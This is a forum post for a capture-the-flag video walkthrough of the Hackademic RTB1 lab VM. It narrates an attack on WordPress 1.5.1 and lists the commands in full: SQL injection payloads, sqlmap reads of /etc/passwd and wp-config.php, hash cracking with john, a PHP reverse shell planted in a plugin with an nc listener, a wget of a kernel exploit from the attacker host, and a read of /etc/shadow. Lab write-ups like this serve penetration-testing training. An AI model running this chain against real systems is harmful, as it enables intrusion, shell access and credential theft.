Re: [Video] Hackademic RTB1
After navigating to the default location of the admin panel, the attacker is able to test out the acquired admin credentials. As a result the attacker now has full control over the blog software (as well as access to the database). The attacker notices that file uploads have been disabled. However instead of enabling them (as well as altering the allowed file types), the attacker opts to edit an un-used plugin instead. The justification of this is once the file has been edited, it's automatically removed from the plugin list so it is less obvious than altered settings which the attacker believes the admin would notice before wanting to enable the plugin again. Also the attacker believes there is a higher chance the admin will check the upload folder rather than checking the files in the plugin folder to the plugin list. The attacker chooses the plugin "textile 1" to replace. Editor's note: Instead of overwriting the file, it could be possible to amend the code at the end, leaving the existing functionality intact.
"php-reverse-shell" by pentest monkey is an interactive shell which is spawned when the PHP code is executed. The attacker copies the contents of the file and pastes it over the plugin. They then update the shell to have the attacker's IP address and a different port. Upon saving the updated plugin with the modified web shell code, when the attacker checks the list of plugins, they discover it has been removed (which also means they are unable to edit the file any more). As the nature is a reverse connection, the attacker needs to have a listener waiting on the same port to catch the request from the web shell when the PHP function is called from the target. The attacker sets up "netcat" to be the listener and then triggers their plugin. The attacker is then able to interact with the target with a command line interface running as the same permission as the web server.
The attacker now tries to escape privileges in-which to gain higher level of access into the system. One common method is by exploiting the kernel (ONLY if it is vulnerable!). The attacker finds the current kernel version out and again searches their local copy exploit-db. The attacker discovers a potential exploit that could work with the kernel version. The attacker checks that the exploit code doesn't contain any 'non-code' which would stop the file from compiling, then copies a version to their local web root folder, remove the 'non-code', gives permission to the file to make sure every user has access to the file and then starts a web server.
Controlling the target the attacker locates a folder which they have the permission to write to and execute files from. Upon entering such a path the attacker instructs the target to download the exploit code from the attacker and compile it. After executing the exploit the attacker has now got root access to the target. They then move to the root's personal home folder to locate & view the "key" file which was mentioned in the message at the start of the attack.
Game over
Upon exploring the rest of the file system, the attacker also noticed other 'sensitive' data on the target's machine. For example, bash commands which had been perversity been entered as root by another user earlier, as well as deleted files which were in the trash folder that hasn't yet been removed.
Game over...again!
Commands
Code:
netdiscover -r 192.168.0.1/24
us -H -msf -Iv 192.168.0.130 -p 1-65535 && us -H -mU -Iv 192.168.0.130 -p 1-65535
nmap -p 1-65535 -T4 -A -v 192.168.0.130 # -p 80
// firefox -> 192.168.0.130 -> Target (/Hackademic_RTB1/) -> Right click -> View source # WordPress 1.5.1.1
apt-cache show wpscan
apt-get install wpscan
cd /pentest/web/wpscan/
./wpscan.rb
./wpscan.rb --url http://192.168.0.130/Hackademic_RTB1/
cd /pentest/exploits/exploitdb/
cat files.csv | grep -i wordpress | grep 1.5.1
perl platforms/php/webapps/1033.pl
perl platforms/php/webapps/1033.pl http://192.168.0.130/Hackademic_RTB1 2
cat platforms/php/webapps/1033.pl
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0'
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 1
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 2
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 3
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 4
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 5
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 6
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,2,3,4,5
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,version(),3,4,5
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,user(),3,4,5
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,database(),3,4,5
// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,load_file(/etc/passwd),3,4,5
echo -n /etc/passwd | xxd -p -
http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,load_file(0x2f6574632f706173737764),3,4,5
cd /pentest/database/sqlmap/
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --file-read=/etc/passwd
cat /pentest/database/sqlmap/output/192.168.0.130/files/_etc_passwd
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --banner --current-db --current-user --is-dba
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --dbs
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/?cat=0 --dbs
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/?cat=0 --tables -v 0
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/?cat=0 -D mysql --columns -v 0
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/?cat=0 --password -v 0
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --file-read=/etc/httpd/conf/httpd.conf
cat /pentest/database/sqlmap/output/192.168.0.130/files/_etc_httpd_conf_httpd.conf | grep DocumentRoot
./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --file-read=/var/www/html/Hackademic_RTB1/wp-config.php
cat /pentest/database/sqlmap/output/192.168.0.130/files/_var_www_html_Hackademic_RTB1_wp-config.php
cd /pentest/passwords/john
./john
./john /tmp/crackme --wordlist=/tmp/pass --format=MYSQL
#./john /tmp/crackme --show
firefox wordpress.org -> Database_Description -> WordPress 1.5 # http://codex.wordpress.org/Database_Description/1.5
http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,count(*),3,4,5 from wp_users
http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,concat(user_login,0x3a,user_pass),3,4,5 from wp_users
curl --silent http://192.168.0.130/Hackademic_RTB1/index.php?cat=0%20union%20select%201,concat%28user_login,0x3a,user_pass%29,3,4,5%20from%20wp_users | grep page | sed 's/.*;\(.*\)&.*/\1/'
for x in $(seq 1 6); do curl --silent http://192.168.0.130/Hackademic_RTB1/index.php?cat=0%20union%20select%201,concat%28user_login,0x3a,user_pass,0x3a,user_level%29,3,4,5%20from%20wp_users%20where%20ID=$x | grep page | sed 's/.*;\(.*\)&.*/\1/'; done # Could even use the first SQL injection for count
for x in $(seq 1 6); do curl --silent http://192.168.0.130/Hackademic_RTB1/index.php?cat=0%20union%20select%201,concat%28user_login,0x3a,user_pass%29,3,4,5%20from%20wp_users%20where%20ID=$x | grep page | sed 's/.*;\(.*\)&.*/\1/' >> /tmp/wordpress; done
cd /pentest/password/john
./john /tmp/crack --wordlist=/pentest/passwords/wordlists/darkc0de.lst --format=raw-MD5
http://192.168.0.130/Hackademic_RTB1/wp-admin/ # GeorgeMiller // q1w2e3
#Plugins -> Hello Dolly -> Actiavte. Manage -> Files -> textile1.php
cd /pentest/backdoors/web/webshells/
cat php-reverse-shell.php # Edit IP & port
nc -lvvp 443
curl http://192.168.0.130/Hackademic_RTB1/wp-content/plugins/textile1.php; exit
uname -a
cd /pentest/exploits/exploitdb
cat files.csv | grep "linux,local" | grep "Local Privilege Escalation"
head platforms/linux/local/15285.c
cp platforms/linux/local/15285.c /var/www/
nano /var/www/15285.c # add "//" on line 1
chmod +x /var/www/15285.c
/etc/init.d/apache2 start
cd /tmp
wget 192.168.0.162/15285.c -O root.c
gcc root.c -o root
./root
id
ifconfig && uname -a && cat /etc/shadow && ls -lAh /root
cat /root/key.txt
#cat /root/.bash_history
#ls -lAh /root/.local/share/Trash/files
Notes
- When starting the VM for the first time with VMware, select "I Moved It" - otherwise it could cause issues (e.g. the target will not be visible!).
- Some mistakes in the video are more obvious.
- Instead of using "php-reverse-shell" & "netcat", "PHP Meterpreter" & "Metasploit" could of been used.
- The selection area to record was no in align when I recorded it
- It is worth downloading wordpress to be familiar with a default configuration.
Song(s):
Xploding Plastix - Kissed By A Kisser &
Wolfgang Gartner - Illmerica (Extended Version)
Video length: 14:06
Capture length: 71:19
Blog Post:
http://g0tmi1k.blogspot.com/2012/01/...emic-rtb1.html
Forum Post:
http://www.backtrack-linux.org/forum...925#post211925